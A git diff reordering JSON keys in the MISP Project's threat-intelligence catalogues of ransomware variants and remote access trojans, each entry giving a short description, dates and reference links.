+ "value": "RASTAKHIZ"
},
{
- "value": "TYRANT",
"description": "DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir.Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.",
"meta": {
"refs": [
@@ -10036,46 +10040,42 @@
"Crypto Tyrant"
]
},
- "uuid": "701f2a3e-9baa-11e8-a044-4b8bc49ea971"
+ "uuid": "701f2a3e-9baa-11e8-a044-4b8bc49ea971",
+ "value": "TYRANT"
},
{
- "value": "WannaSmile",
"description": "zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.",
"meta": {
"refs": [
"https://www.accenture.com/t20180803T064557Z__w__/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf"
]
},
- "uuid": "b3f04486-9bc4-11e8-bbfe-cf096483b45e"
+ "uuid": "b3f04486-9bc4-11e8-bbfe-cf096483b45e",
+ "value": "WannaSmile"
},
{
- "value": "Black Ruby",
"description": "Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine’s maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.",
"meta": {
- "refs": [
- "https://www.accenture.com/t20180803T064557Z__w__/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf"
- ],
"extensions": [
".BlackRuby"
+ ],
+ "refs": [
+ "https://www.accenture.com/t20180803T064557Z__w__/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf"
]
},
- "uuid": "b4433e66-9bc4-11e8-8f4e-7363f5526636"
+ "uuid": "b4433e66-9bc4-11e8-8f4e-7363f5526636",
+ "value": "Black Ruby"
},
{
- "value": "Unnamed Android Ransomware",
"description": "Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key. ",
"meta": {
"refs": [
"https://www.accenture.com/t20180803T064557Z__w__/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf"
]
},
- "uuid": "b48a7d62-9bc4-11e8-a7c5-47d13fad265f"
+ "uuid": "b48a7d62-9bc4-11e8-a7c5-47d13fad265f",
+ "value": "Unnamed Android Ransomware"
}
],
- "source": "Various",
- "uuid": "10cf658b-5d32-4c4b-bb32-61760a640372",
- "name": "Ransomware",
- "version": 27,
- "type": "ransomware",
- "description": "Ransomware galaxy based on https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar"
+ "version": 27
}
diff --git a/clusters/rat.json b/clusters/rat.json
index aafa6b2..f4630a4 100644
--- a/clusters/rat.json
+++ b/clusters/rat.json
@@ -1,30 +1,36 @@
{
- "uuid": "312f8714-45cb-11e7-b898-135207cdceb9",
+ "authors": [
+ "Various",
+ "raw-data"
+ ],
"description": "remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote \"operator\" to control a system as if they have physical access to that system.",
+ "name": "RAT",
"source": "MISP Project",
- "version": 12,
+ "type": "rat",
+ "uuid": "312f8714-45cb-11e7-b898-135207cdceb9",
"values": [
{
+ "description": "TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers.",
"meta": {
"refs": [
"https://www.teamviewer.com"
]
},
"uuid": "8ee3c015-3088-4a5f-8c94-602c27d767c0",
- "value": "TeamViewer",
- "description": "TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers."
+ "value": "TeamViewer"
},
{
+ "description": "JadeRAT is just one example of numerous mobile surveillanceware families we've seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains.",
"meta": {
"refs": [
"https://blog.lookout.com/mobile-threat-jaderat"
]
},
"uuid": "1cc8963b-5ad4-4e19-8e9a-57b0ff1ef926",
- "value": "JadeRAT",
- "description": "JadeRAT is just one example of numerous mobile surveillanceware families we've seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains."
+ "value": "JadeRAT"
},
{
+ "description": "Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location.",
"meta": {
"refs": [
"http://www.cultdeadcow.com/tools/bo.html",
@@ -35,10 +41,10 @@
]
},
"uuid": "20204b13-8ad1-4147-9328-0a9a7ac010b6",
- "value": "Back Orifice",
- "description": "Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location."
+ "value": "Back Orifice"
},
{
+ "description": "NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor.",
"meta": {
"date": "1998",
"refs": [
@@ -50,10 +56,10 @@
]
},
"uuid": "81ff6e46-0ba4-458b-b3b0-750e86404cae",
- "value": "Netbus",
- "description": "NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor."
+ "value": "Netbus"
},
{
+ "description": "Poison Ivy is a RAT which was freely available and first released in 2005.",
"meta": {
"refs": [
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf",
@@ -66,10 +72,10 @@
]
},
"uuid": "4e104fef-8a2c-4679-b497-6e86d7d47db0",
- "value": "PoisonIvy",
- "description": "Poison Ivy is a RAT which was freely available and first released in 2005."
+ "value": "PoisonIvy"
},
{
+ "description": "Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards (\"suBteN\") and swapping \"ten\" with \"seven\". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.",
"meta": {
"date": "1999",
"refs": [
@@ -81,10 +87,10 @@
]
},
"uuid": "d7369f05-65ce-4e10-916f-41f2f6d4ab59",
- "value": "Sub7",
- "description": "Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards (\"suBteN\") and swapping \"ten\" with \"seven\". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy."
+ "value": "Sub7"
},
{
+ "description": "Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a \"RAT\". It is capable of infecting versions of Windows from 95 to 10.",
"meta": {
"date": "2002",
"refs": [
@@ -92,10 +98,10 @@
]
},
"uuid": "268a4f81-dbfd-4b20-9a54-24eba7a4c781",
- "value": "Beast Trojan",
- "description": "Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a \"RAT\". It is capable of infecting versions of Windows from 95 to 10."
+ "value": "Beast Trojan"
},
{
+ "description": "Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).",
"meta": {
"date": "2004",
"refs": [
@@ -104,10 +110,10 @@
]
},
"uuid": "eb62bac0-68fd-4b17-af4f-89c6900ee414",
- "value": "Bifrost",
- "description": "Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor)."
+ "value": "Bifrost"
},
{
+ "description": "Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.",
"meta": {
"date": "2010",
"refs": [
@@ -115,10 +121,10 @@
]
},
"uuid": "3a1fc564-3705-4cc0-8f80-13c58d470d34",
- "value": "Blackshades",
- "description": "Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software."
+ "value": "Blackshades"
},
{
+ "description": "DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.",
"meta": {
"date": "2008",
"refs": [
@@ -130,10 +136,10 @@
]
},
"uuid": "8a21ae06-d257-48a0-989b-1c9aebedabc2",
- "value": "DarkComet",
- "description": "DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012."
+ "value": "DarkComet"
},
{
+ "description": "Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.",
"meta": {
"date": "2002",
"refs": [
@@ -141,10 +147,10 @@
]
},
"uuid": "826e73f8-2241-4c99-848d-8597d685cfd3",
- "value": "Lanfiltrator",
- "description": "Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator."
+ "value": "Lanfiltrator"
},
{
+ "description": "Win32.HsIdir is an advanced remote administrator tool systems was done by the original author HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir.",
"meta": {
"refs": [
"http://lexmarket.su/thread-27692.html",
@@ -152,10 +158,10 @@
]
},
"uuid": "569d539f-f949-4156-8896-108ea8352fbc",
- "value": "Win32.HsIdir",
- "description": "Win32.HsIdir is an advanced remote administrator tool systems was done by the original author HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir."
+ "value": "Win32.HsIdir"
},
{
+ "description": "Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K",
"meta": {
"date": "2002",
"refs": [
@@ -165,10 +171,10 @@
]
},
"uuid": "4ce3247b-203a-42a8-aaa0-05558c50894e",
- "value": "Optix Pro",
- "description": "Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K"
+ "value": "Optix Pro"
},
{
+ "description": "Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker's remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus. ",
"meta": {
"date": "1998",
"refs": [
@@ -182,10 +188,10 @@
]
},
"uuid": "91f8a1d8-c816-45e1-8c26-17a7305ca375",
- "value": "Back Orifice 2000",
- "description": "Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker's remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus. "
+ "value": "Back Orifice 2000"
},
{
+ "description": "The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another ",
"meta": {
"refs": [
"https://www.realvnc.com/"
@@ -196,10 +202,10 @@
]
},
"uuid": "e1290288-84d4-4b32-858d-db4ed612de44",
- "value": "RealVNC",
- "description": "The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another "
+ "value": "RealVNC"
},
{
+ "description": "Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware. ",
"meta": {
"date": "2011",
"refs": [
@@ -218,8 +224,7 @@
]
},
"uuid": "b76d9845-815c-4e77-9538-6b737269da2f",
- "value": "Adwind RAT",
- "description": "Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware. "
+ "value": "Adwind RAT"
},
{
"meta": {
@@ -231,6 +236,7 @@
"value": "Albertino Advanced RAT"
},
{
+ "description": "The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00.",
"meta": {
"refs": [
"https://www.symantec.com/security_response/writeup.jsp?docid=2012-112912-5237-99",
@@ -238,20 +244,20 @@
]
},
"uuid": "cd167b01-dc63-4576-b4a1-5ee707aa392b",
- "value": "Arcom",
- "description": "The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00."
+ "value": "Arcom"
},
{
+ "description": "BlackNix rat is a rat coded in delphi. ",
"meta": {
"refs": [
"https://leakforums.net/thread-18123?tid=18123&&pq=1"
]
},
"uuid": "f3e79212-0e35-40d2-a1d6-37b629a8138e",
- "value": "BlackNix",
- "description": "BlackNix rat is a rat coded in delphi. "
+ "value": "BlackNix"
},
{
+ "description": "Blue Banana is a RAT (Remote Administration Tool) created purely in Java",
"meta": {
"date": "2012",
"refs": [
@@ -260,10 +266,10 @@
]
},
"uuid": "9b515229-36f6-4b93-9889-36116a12fd74",
- "value": "Blue Banana",
- "description": "Blue Banana is a RAT (Remote Administration Tool) created purely in Java"
+ "value": "Blue Banana"
},
{
+ "description": "Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks.",
"meta": {
"date": "2013",
"refs": [
@@ -271,10 +277,10 @@
]
},
"uuid": "41f45758-0376-42a8-bc07-8f2ffbee3ad2",
- "value": "Bozok",
- "description": "Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks."
+ "value": "Bozok"
},
{
+ "description": "ClientMesh is a Remote Administration Application yhich allows a user to control a number of client PCs from around the world.",
"meta": {
"refs": [
"https://sinister.ly/Thread-ClientMesh-RAT-In-Built-FUD-Crypter-Stable-DDoSer-No-PortForwading-40-Lifetime",
@@ -282,10 +288,10 @@
]
},
"uuid": "03eb6742-9a17-4aed-95e4-d8a0b0abefc3",
- "value": "ClientMesh",
- "description": "ClientMesh is a Remote Administration Application yhich allows a user to control a number of client PCs from around the world."
+ "value": "ClientMesh"
},
{
+ "description": "CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim's passwords and can also get the screen shots of his computer's screen.",
"meta": {
"date": "2011",
"refs": [
@@ -294,8 +300,7 @@
]
},
"uuid": "c3cf4e88-704b-4d7c-8185-ee780804f3d3",
- "value": "CyberGate",
- "description": "CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim's passwords and can also get the screen shots of his computer's screen."
+ "value": "CyberGate"
},
{
"meta": {
@@ -307,6 +312,7 @@
"value": "Dark DDoSeR"
},
{
+ "description": "In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.",
"meta": {
"date": "2005",
"refs": [
@@ -318,8 +324,7 @@
]
},
"uuid": "7135cc9c-a7bf-44fc-b74b-80de9edd9438",
- "value": "DarkRat",
- "description": "In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware."
+ "value": "DarkRat"
},
{
"meta": {
@@ -331,6 +336,7 @@
"value": "Greame"
},
{
+ "description": "HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.",
"meta": {
"date": "2003",
"refs": [
@@ -338,10 +344,10 @@
]
},
"uuid": "8414f79c-a879-44b6-b154-4992aa12dff1",
- "value": "HawkEye",
- "description": "HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password."
+ "value": "HawkEye"
},
{
+ "description": "jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.",
"meta": {
"date": "2012",
"refs": [
@@ -352,10 +358,10 @@
]
},
"uuid": "1df62d96-88f8-473c-94a2-252eb360ba62",
- "value": "jRAT",
- "description": "jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions."
+ "value": "jRAT"
},
{
+ "description": "jSpy is a Java RAT. ",
"meta": {
"date": "2013",
"refs": [
@@ -363,20 +369,20 @@
]
},
"uuid": "669a0e4d-9760-49fc-bdf5-0471f84e0c76",
- "value": "jSpy",
- "description": "jSpy is a Java RAT. "
+ "value": "jSpy"
},
{
+ "description": "Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.",
"meta": {
"refs": [
"https://leakforums.net/thread-284656"
]
},
"uuid": "aad1038d-4d50-4a3e-88f3-cd9d154dc45c",
- "value": "LuxNET",
- "description": "Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs."
+ "value": "LuxNET"
},
{
+ "description": "NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.",
"meta": {
"date": "2012",
"refs": [
@@ -387,10 +393,10 @@
]
},
"uuid": "7fb493bb-756b-42a2-8f6d-59e254f4f2cc",
- "value": "NJRat",
- "description": "NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams."
+ "value": "NJRat"
},
{
+ "description": "Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora’s structure is based on advanced client / server architecture. was configured using modern technology.",
"meta": {
"date": "2002",
"refs": [
@@ -398,10 +404,10 @@
]
},
"uuid": "59485642-d233-4167-9f51-bd1d74285c23",
- "value": "Pandora",
- "description": "Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora’s structure is based on advanced client / server architecture. was configured using modern technology."
+ "value": "Pandora"
},
{
+ "description": "Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn’t scale well when there are a lot of infected machines and logs involved.",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/predator-pain-and-limitless-behind-the-fraud/",
@@ -412,10 +418,10 @@
]
},
"uuid": "42a97a5d-ee33-492a-b20f-758ecdbf1aed",
- "value": "Predator Pain",
- "description": "Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn’t scale well when there are a lot of infected machines and logs involved."
+ "value": "Predator Pain"
},
{
+ "description": "Remote administration tool",
"meta": {
"date": "2007",
"refs": [
@@ -423,10 +429,10 @@
]
},
"uuid": "e49af83c-fd2f-4540-92dc-97c7b84a9458",
- "value": "Punisher RAT",
- "description": "Remote administration tool"
+ "value": "Punisher RAT"
},
{
+ "description": "This is tool that allow you to control your computer form anywhere in world with full support to unicode language. ",
"meta": {
"refs": [
"https://www.rekings.com/spygate-rat-3-2/",
@@ -435,10 +441,10 @@
]
},
"uuid": "1c3df89a-1f30-4ccb-acb4-5dee4b470b55",
- "value": "SpyGate",
- "description": "This is tool that allow you to control your computer form anywhere in world with full support to unicode language. "
+ "value": "SpyGate"
},
{
+ "description": "RAT",
"meta": {
"refs": [
"http://small-net-rat.blogspot.lu/"
@@ -448,30 +454,30 @@
]
},
"uuid": "1dd0c7f8-a6fb-4912-9de9-deb43f384fdb",
- "value": "Small-Net",
- "description": "RAT"
+ "value": "Small-Net"
},
{
+ "description": "Vantom is a free RAT with good option and very stable.",
"meta": {
"refs": [
"https://www.rekings.com/vantom-rat/"
]
},
"uuid": "6e5a1fcb-f730-4d8d-890a-ef133782a7d2",
- "value": "Vantom",
- "description": "Vantom is a free RAT with good option and very stable."
+ "value": "Vantom"
},
{
+ "description": "Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.",
"meta": {
"refs": [
"https://leakforums.net/thread-497480"
]
},
"uuid": "b9d5ab11-dd6f-49ba-8117-ce16f71ff11c",
- "value": "Xena",
- "description": "Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies."
+ "value": "Xena"
},
{
+ "description": "This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware. ",
"meta": {
"date": "2010",
"refs": [
@@ -479,10 +485,10 @@
]
},
"uuid": "3b6b55fb-595c-40c5-bbc5-dbe244b15026",
- "value": "XtremeRAT",
- "description": "This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware. "
+ "value": "XtremeRAT"
},
{
+ "description": "NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.",
"meta": {
"date": "2012",
"refs": [
@@ -490,10 +496,10 @@
]
},
"uuid": "e3113a0e-a65b-4119-8bc2-1c8d9d18c2db",
- "value": "Netwire",
- "description": "NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers."
+ "value": "Netwire"
},
{
+ "description": "Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program. .",
"meta": {
"date": "2001",
"refs": [
@@ -501,50 +507,50 @@
]
},
"uuid": "255a59a7-db2d-44fc-9ca9-5859b65817c3",
- "value": "Gh0st RAT",
- "description": "Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program. ."
+ "value": "Gh0st RAT"
},
{
+ "description": "Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.",
"meta": {
"refs": [
"http://www.zunzutech.com/blog/security/analysis-of-plasma-rats-source-code/"
]
},
"uuid": "af534ddb-d0c6-47c0-82be-058c8bd5c6e1",
- "value": "Plasma RAT",
- "description": "Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version."
+ "value": "Plasma RAT"
},
{
+ "description": "Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)",
"meta": {
"refs": [
"https://www.rekings.com/babylon-rat/"
]
},
"uuid": "ad1c9a50-3cd2-446a-ab31-9ecb62980d61",
- "value": "Babylon",
- "description": "Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)"
+ "value": "Babylon"
},
{
+ "description": "RAT",
"meta": {
"refs": [
"http://www.imminentmethods.info/"
]
},
"uuid": "f52a5252-ef53-4935-81c8-96fffcd1b952",
- "value": "Imminent Monitor",
- "description": "RAT"
+ "value": "Imminent Monitor"
},
{
+ "description": "DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim’s private data wilfully.",
"meta": {
"refs": [
"http://droidjack.net/"
]
},
"uuid": "7f032293-bfa2-4595-803d-c84519190861",
- "value": "DroidJack",
- "description": "DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim’s private data wilfully."
+ "value": "DroidJack"
},
{
+ "description": "Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface",
"meta": {
"date": "2014",
"refs": [
@@ -553,10 +559,10 @@
]
},
"uuid": "6efa425c-3731-44fd-9224-2a62df061a2d",
- "value": "Quasar RAT",
- "description": "Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface"
+ "value": "Quasar RAT"
},
{
+ "description": "Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google's Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.",
"meta": {
"date": "2014",
"refs": [
@@ -565,10 +571,10 @@
]
},
"uuid": "ea3a8c25-4adb-4538-bf11-55259bdba15f",
- "value": "Dendroid",
- "description": "Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google's Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications."
+ "value": "Dendroid"
},
{
+ "description": "A Java R.A.T. program",
"meta": {
"date": "2016",
"refs": [
@@ -576,10 +582,10 @@
]
},
"uuid": "a51f07ae-ab2c-45ee-aa9c-1db7873e7bb4",
- "value": "Ratty",
- "description": "A Java R.A.T. program"
+ "value": "Ratty"
},
{
+ "description": "Java RAT",
"meta": {
"refs": [
"http://level23hacktools.com/forum/showthread.php?t=27971",
@@ -587,8 +593,7 @@
]
},
"uuid": "48b6886b-67a9-4815-92a2-1b7aca24d4ac",
- "value": "RaTRon",
- "description": "Java RAT"
+ "value": "RaTRon"
},
{
"meta": {
@@ -601,6 +606,7 @@
"value": "Arabian-Attacker RAT"
},
{
+ "description": "Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.",
"meta": {
"refs": [
"https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/",
@@ -608,18 +614,17 @@
]
},
"uuid": "ce70bf96-0629-4c7d-8ed8-2315fab0ed42",
- "value": "Androrat",
- "description": "Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server."
+ "value": "Androrat"
},
{
+ "description": "Remote Administrator",
"meta": {
"refs": [
"http://adzok.com/"
]
},
"uuid": "3560c833-3d28-4888-b0b8-1951ecac57a2",
- "value": "Adzok",
- "description": "Remote Administrator"
+ "value": "Adzok"
},
{
"meta": {
@@ -658,6 +663,7 @@
"value": "RWX RAT"
